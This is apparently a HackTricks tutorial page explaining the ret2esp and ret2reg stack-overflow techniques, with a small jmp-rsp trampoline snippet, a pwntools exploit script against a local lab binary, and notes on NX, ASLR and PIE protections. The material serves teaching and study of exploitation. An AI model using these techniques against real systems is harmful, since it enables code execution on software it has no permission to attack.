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**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored.
If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack.
### Lacking space
If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial `jmp` shellcode like:
```armasm
sub rsp, 0x30
jmp rsp
```
And write the shellcode early in the stack.
### Example
You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
## Ret2reg
Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**).
### Example
You can find an example here: [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
## Protections
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register.
<summary><strong>Learn AWS hacking from zero to hero with</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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